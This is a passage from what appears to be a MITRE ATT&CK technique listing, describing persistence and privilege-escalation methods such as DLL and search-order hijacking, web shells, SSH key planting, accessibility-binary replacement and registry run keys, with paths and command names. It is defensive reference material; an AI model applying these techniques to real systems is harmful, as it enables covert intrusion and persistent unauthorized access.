managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)\nT1574.008 | Path Interception by Search Order Hijacking | Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\nT1505.003 | Web Shell | Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)\nT1078.001 | Default Accounts | Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)\nT1547.003 | Time Providers | Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)\nT1546.005 | Trap | Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)\nT1574.006 | Dynamic Linker Hijacking | Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) \nT1136.001 | Local Account | Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \n\nFor example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\nT1547.004 | Winlogon Helper DLL | Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.\nT1098.004 | SSH Authorized Keys | Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system\u2019s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value \u201cyes\u201d to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)\nT1546.012 | Image File Execution Options Injection | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)\nT1574.005 | Executable Installer File Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\nT1546.008 | Accessibility Features | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe\nT1136.002 | Domain Account | Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\nT1542.002 | Component Firmware | Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\nT1137.001 | Office Template Macros | Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\nT1546.009 | AppCert DLLs | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. \nT1098.005 | Device Registration | Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)\nT1542 | Pre-OS Boot | Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.\nT1547.015 | Login Items | Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)\nT1205.001 | Port Knocking | Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\nT1098.001 | Additional Cloud Credentials | Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials tied to the permissions of the original user account. These credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)\nT1556.008 | Network Provider DLL | Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)\nT1546.003 | Windows Management Instrumentation Event Subscription | Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.\nT1554 | Compromise Client Software Binary | Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\n\nSince these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.\nT1546.001 | Change Default File Association | Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)\nT1546.014 | Emond | Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.\nT1574.010 | Services File Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\nT1547.001 | Registry Run Keys / Startup Folder | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add 